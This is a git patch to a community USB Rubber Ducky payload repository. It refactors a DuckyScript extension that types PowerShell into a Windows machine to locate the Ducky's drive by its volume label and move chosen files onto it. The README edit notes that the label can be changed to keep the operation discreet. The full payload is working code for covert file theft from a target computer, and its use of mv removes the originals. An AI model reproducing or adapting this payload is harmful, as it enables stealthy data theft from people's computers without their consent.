From 2e892e4b0e95c26d85f833d84a35109fdfd7aa53 Mon Sep 17 00:00:00 2001 From: Aleff Date: Sat, 1 Jun 2024 10:26:10 +0200 Subject: [PATCH] Aporting hak5peaks tips [#] Extension renamed to `_` instead of `-` and only all caps [#] Windows to all caps [+] Added #DRIVER-LABEL [#] Unordered spacing removed --- .../README.md | 6 ++++- ...FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS.txt} | 24 ++++--------------- 2 files changed, 10 insertions(+), 20 deletions(-) rename payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/{SAVE_FILES_IN_RUBBER_DUCKY_STORAGE-Windows.txt => SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS.txt} (90%) diff --git a/payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/README.md b/payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/README.md index a2bf27a..bec9abd 100644 --- a/payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/README.md +++ b/payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/README.md @@ -42,7 +42,11 @@ Insert this extension when you have one or more files that you want to save via Before using the extension, you need to configure it by setting certain variables in the DuckyScript payload. Here are the configuration options: -### 2. Single File or Multiple Files +### Driver Label + +This extension utilizes the 'Get-Volume' command to scan the available volumes on the computer where the command is executed, aiming to detect our USB Rubber Ducky device. Upon detection, the device is selected to serve as a reference, allowing us to perform data saving operations. By default, USB Rubber Duckys are identified by the label 'DUCK'. However, this label can be altered, particularly if we want to keep the operation discreet. If the default label has been changed, it will be necessary to update the #DRIVER-LABEL variable with the correct label. + +### Single File or Multiple Files You can choose to send a single file or multiple files. Configure the extension accordingly. diff --git a/payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE-Windows.txt b/payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS.txt similarity index 90% rename from payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE-Windows.txt rename to payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS.txt index fd2ce10..175c867 100644 --- a/payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE-Windows.txt +++ b/payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS.txt @@ -1,7 +1,6 @@ -EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE-Windows +EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS REM VERSION 1.0 REM AUTHOR: Aleff - REM_BLOCK Documentation This extension is used to save one or more files through the USB Rubber Ducky storage. @@ -11,8 +10,9 @@ EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE-Windows USAGE: Insert this extension when you have one or more files that you want to save in your USB Rubber Ducky. - CONFIGURATION: + Set #DRIVER-LABEL variable with the correct Label of your USB Rubber Ducky considering that the default value is 'DUCK'. + Set #FLAG-SINGLE-FILE with TRUE if you want to save just one file. In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $fileToSavePath variable to capture this path. i.e. in DuckyScript EXTENSION @@ -35,48 +35,34 @@ EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE-Windows > $fileToSavePaths += "C:\Users\Aleff\Downloads\photo.png" How to see the array? > $fileToSavePaths - - END_REM - - REM Settings + DEFINE #DRIVER-LABEL DUCK DEFINE #FLAG-SINGLE-FILE FALSE DEFINE #SINGLE-PATH 0 REM Extension Code FUNCTION SAVE-SINGLE-FILE() - IF ( #SINGLE-PATH != 0 ) THEN - STRINGLN mv #SINGLE-PATH >> ${m}:\ - ELSE IF ( #SINGLE-PATH == 0 ) THEN - STRINGLN mv ${fileToSavePath} >> ${m}:\ - END_IF - END_FUNCTION FUNCTION SAVE-MULTIPLE-FILES() - STRINGLN foreach ($fileToSavePath in $fileToSavePaths) { mv ${fileToSavePath} >> ${m}:\ } END_STRINGLN - END_FUNCTION - STRINGLN $m=(Get-Volume -FileSystemLabel 'DUCK').DriveLetter; - + STRINGLN $m=(Get-Volume -FileSystemLabel '#DRIVER-LABEL').DriveLetter; IF_DEFINED_TRUE #FLAG-SINGLE-FILE SAVE-SINGLE-FILE() END_IF_DEFINED - IF_NOT_DEFINED_TRUE #FLAG-SINGLE-FILE SAVE-MULTIPLE-FILES() END_IF_DEFINED - END_EXTENSION